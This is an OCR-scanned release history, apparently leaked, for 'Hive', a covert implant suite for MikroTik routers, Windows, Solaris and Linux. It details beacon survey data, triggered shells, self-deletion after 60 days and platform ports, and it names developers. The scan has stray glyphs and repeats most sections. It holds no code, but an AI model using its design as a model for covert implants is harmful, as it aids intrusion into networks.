W Added enhanced beacon functionality to Mikrotik. Mikrotik can now return ifconfig, netstat 
-an, netstat -m, and a ps -ef. 

® Fixed an issue where Mikrotik implants would not beacon after the router had been rebooted. 

V2.1 05/23/2011 

° Updated code with reliablity fixes so the trigger no longer hangs due to an implant being 
improperly shutdown. These fixes are currently implemented on all platforms except for 
Windows. 

° Updated the beacon code so that it now returns more survey data. This data includes 
ipconfig/ifconfig, netstat -an, netstat -m, and a process list. Currently Mikrotik returns 
empty data due to the actually commands not existing on a host unless busybox is present. 
Added support for the new beacons and beacon format to honeycomb. Honeycomb is 
backwards compatable with beacons back to Hive vl . 1 . 

| v2.0 05/9/2011 
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° Added support for use of the Hive client through the CutThroat interface. 

» vl.l 04/14/2011 

° Backport of stability and reliablity fixes we added to Hive 2.0 36. 

° Updated hclient to give slightly better feedback to user when connection 37 goes down. 

° vl.0.2 01/21/2011*, 02/14/2011**, 03/07/2011*** 

° Primarily a release to port Hive to MikroTik x86 RouterOS 3.x and 4.x 
# Fixed beacons to handle DNS failures 
a Fixed beacons to handle connection attempts to closed ports 

° Fixed daemonizing code for MikroTik build. Improper daemonizing was causing triggers to 
fail. 

° Due to unavailability of RouterBoard MIPS-LE hardware, testing for MikroTik MIPS-LE 
3.x-4.x wasdone on a Linksys WRT54G reflashed with DD-WRT v24-sp2. 
e For MikroTik, Hive binaries were linked against uClibc libraries and are unlikely to work on 
older firmware such as the 2.x series, 
o Latest official releases and tested versions: 

■ft Windows XP SP0-SP3 — vl. 0.1; vl.0.2 untested 
® Windows 2003 — vl .0. 1 ; vl .0.2 untested 

° Solaris SPARC 9-10 - vl. 0.1; vl.0.2 untested 

° Solaris x86 9-10 -vl.0.2** 

° MikroTik x86 3. x-4.x -vl.0.2 

° MikroTik PPC 4.x -vl.0.2* 

ft MikroTik PPC 3.x — vl .0.2 untested 

ft MikroTik MIPS-BE 4.x -vl.0.2* 

° MikroTik MIPS-BE 3.x — vl.0.2 untested 
° MikroTik MIPS-LE 4.x -vl.0.2*** 

° MikroTik MIPS-LE 3.x -vl.0.2*** 

° Linux x86 —vl.0.2** 

» vl.0.1 2/22/2010 

#' DR fix for patcher. vl .0 patcher does not allow hostnames to be patched into binaries, vl .0. 1 
allows both IP adresses and hostnames 
■ft Re-released patcher, but implants and client are functionally unchanged, 
ft Latest official releases and tested versions: 
ft Windows XP SP0-SP3 -vl.0.1 
a Windows 2003 —vl.0.1 

° Solaris SPARC 9-10 -vl.0.1 

° Linux x86 — vl.0.1 untested 

ft vl.O 10/27/2010 

ft Released Hive client, patcher, and implants for Windows x86 and Solaris SPARC 
ft Prototype Linux x86 implant provided in patcher 
ft Official releases and versions: 

° Windows XP SP0-SP3 -vl.O 
° Windows 2003 —vl.O 

o Solaris SPARC 9-10 -vl.O 
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-f Linux x86 — vl.O untestedSolaris SPARC 8 

6 Solaris x86 8-10 

• To use the secure shell functionality, users must use the updated Hive ILM module that provides 
this command. The Hive vl.O hclient continues to work with other features, but was not updated 
to support the new secure shell functionality. 

V2.2 08/22/2011 

• Updated Windows with the Trigger hanging fixes from 2.1. 

• Windows can now handle multiple triggered connections at once. 

• All platforms will now self-delete themselves after 60 days of no contact 

• Added enhanced beacon functionality to Mikrotik. Mikrotik can now return ifconfig, netstat -an, 
netstat -m, and a ps -ef. 

• Fixed an issue where Mikrotik implants would not beacon after the router had been rebooted. 

V2.1 05/23/2011 

• Updated code with reliablity fixes so the trigger no longer hangs due to an implant being 

improperly shutdown. These fixes are currently implemented on all platforms except for 

Windows. 

• Updated the beacon code so that it now returns more survey data. This data includes 

ipconfig/ifconfig, netstat -an, netstat -m, and a process list. Currently Mikrotik returns empty 

data due to the actually commands not existing on a host unless busybox is present. 

• Added support for the new beacons and beacon format to honeycomb. Honeycomb is backwards 
compatable with beacons back to Hive vl . 1 . 

V2.0 05/9/2011 

• Added support for use of the Hive client through the CutThroat interface. 

Vl.l 04/14/2011 

• Backport of stability and reliablity fixes we added to Hive 2.0 36. 

• Updated hclient to give slightly better feedback to user when connection 37 goes down. 

Vl.0.2 01/21/2011*, 02/14/2011**, 03/07/2011*** 

• Primarily a release to port Hive to MikroTik x86 RouterOS 3.x and 4.x 

• Fixed beacons to handle DNS failures 

• Fixed beacons to handle connection attempts to closed ports 

• Fixed daemonizing code for MikroTik build. Improper daemonizing was causing triggers to fail. 

• Due to unavailability of RouterBoard MIPS-LE hardware, testing for MikroTik MIPS-LE 3.x- 
4.x wasdone on a Linksys WRT54G reflashed with DD-WRT v24-sp2. 

• For MikroTik, Hive binaries were linked against uClibc libraries and are unlikely to work on 
older firmware such as the 2.x series. 

• Latest official releases and tested versions: 

p Windows XP SP0-SP3 — vl.O. 1; vl.0.2 untested 
° Windows 2003 — vl.O. 1; vl.0.2 untested 
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® Solaris SPARC 9-10 
6 Solaris x86 9-10 
° MikroTikx86 3.x-4.x 
° MikroTik PPC 4.x 
° MikroTik PPC 3.x 
o MikroTik MIPS-BE 4.x 
4 MikroTik MIPS-BE 3.x 
o MikroTik MIPS-LE 4.x 
o MikroTik MIPS-LE 3.x 
° Linux x86 


— v 1.0.1; v 1.0.2 untested 

— vl.0.2** 

— vl.0.2 
-vl.0.2* 

— vl.0.2 untested 
-vl.0.2* 

— vl.0.2 untested 
-vl.0.2*** 

-vl.0.2*** 

-vl.0.2** 


Vl.0.1 2/22/2010 

• DR fix for patcher. vl.O patcher does not allow hostnames to be patched into binaries, vl.0.1 
allows both IP adresses and hostnames 


• Re-released patcher, but implants and client are functionally unchanged. 

• Latest official releases and tested versions: 


o Windows XP SP0-SP3 - vl.0.1 

•#' Windows 2003 —vl.0.1 

4 Solaris SPARC 9-10 -vl.0.1 

4 Linux x86 — vl.0.1 untested 


Vl.O 10/27/2010 

• Released Hive client, patcher, and implants for Windows x86 and Solaris SPARC 

• Prototype Linux x86 implant provided in patcher 

• Official releases and versions: 


° Windows XP SP0-SP3 -vl.O 

° Windows 2003 —vl.O 

® Solaris SPARC 9-10 -vl.O 

4 Linux x86 - vl.O untested 
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8 (U) For Further Assistance 

(S) For any additional assistance, please consult one of the Hive developers. As of January 2013, these 
are Mike Russell (EDG/AED/EDB), Jack McMahon (EDG/AED/EDB), Jeremy Haas (EDG/AED/EDB) 
or Brian Timmons (EDG/AED/RDB). 
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